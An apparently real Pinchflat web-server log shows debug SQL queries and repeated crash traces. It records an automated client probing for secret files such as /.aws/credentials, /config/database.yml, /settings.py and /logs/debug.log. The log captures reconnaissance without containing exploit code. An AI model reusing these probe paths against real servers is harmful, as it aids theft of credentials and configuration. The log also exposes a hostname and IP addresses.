line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c (truncated) 15:15:12.142 [info] GET / 15:15:12.142 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:15:12.142 [debug] QUERY OK source="settings" db=0.3ms idle=425.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:12.143 [debug] QUERY OK source="media_profiles" db=0.1ms idle=425.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:15:12.143 [debug] QUERY OK source="sources" db=0.2ms idle=210.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:15:12.144 [debug] QUERY OK source="media_items" db=0.2ms idle=209.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:15:12.144 [debug] QUERY OK source="media_items" db=0.4ms idle=166.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:15:12.145 [debug] QUERY OK source="settings" db=0.2ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:12.145 [debug] QUERY OK source="settings" db=0.2ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:12.146 [debug] QUERY OK source="settings" db=0.4ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:12.148 [debug] QUERY OK source="tasks" db=0.5ms idle=3.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:15:12.148 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:15:12.149 [debug] QUERY OK source="media_items" db=0.4ms idle=3.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:15:12.150 [debug] QUERY OK source="sources" db=0.3ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 15:15:12.153 [debug] QUERY OK source="media_items" db=0.8ms idle=5.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:15:12.155 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=5.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:15:12.156 [info] Sent 200 in 14ms 15:15:12.436 [info] GET /.aws/credentials 15:15:12.437 [debug] QUERY OK source="settings" db=0.5ms idle=288.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:12.438 [debug] QUERY OK source="settings" db=0.2ms idle=288.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:12.438 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:12.438 [error] #PID<0.2810.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 21) terminated Server: rutube.spluft.ru:80 (http) Request: GET /.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2810.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gwiwsXeMYeoAABGi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2810.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gwiwsXeMYeoAABGi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib (truncated) 15:15:12.648 [info] GET /config/database.yml 15:15:12.649 [debug] QUERY OK source="settings" db=0.4ms idle=498.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:12.650 [debug] QUERY OK source="settings" db=0.3ms idle=496.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:12.650 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:12.650 [error] #PID<0.2811.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 22) terminated Server: rutube.spluft.ru:80 (http) Request: GET /config/database.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/database (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/database.yml", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2811.0>, params: %{}, path_info: ["config", "database"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/config/database.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gxVSi2tjBzcAABHC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/database.yml", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/database (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/database.yml", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2811.0>, params: %{}, path_info: ["config", "database"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/config/database.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gxVSi2tjBzcAABHC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, (truncated) 15:15:12.841 [info] GET /settings.py 15:15:12.842 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 15:15:12.843 [debug] QUERY OK source="settings" db=0.4ms idle=687.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:12.844 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=406.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:12.845 [debug] QUERY OK source="settings" db=0.5ms idle=406.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:12.846 [debug] QUERY OK source="settings" db=0.8ms idle=196.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:12.849 [info] Sent 200 in 8ms 15:15:13.111 [info] GET /logs/debug.log 15:15:13.112 [debug] QUERY OK source="settings" db=0.4ms idle=268.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:13.113 [debug] QUERY OK source="settings" db=0.2ms idle=268.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:13.113 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:13.113 [error] #PID<0.2813.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 24) terminated Server: rutube.spluft.ru:80 (http) Request: GET /logs/debug.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /logs/debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/debug.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2813.0>, params: %{}, path_info: ["logs", "debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/logs/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gzDs7LX21JcAABJC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/debug.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /logs/debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 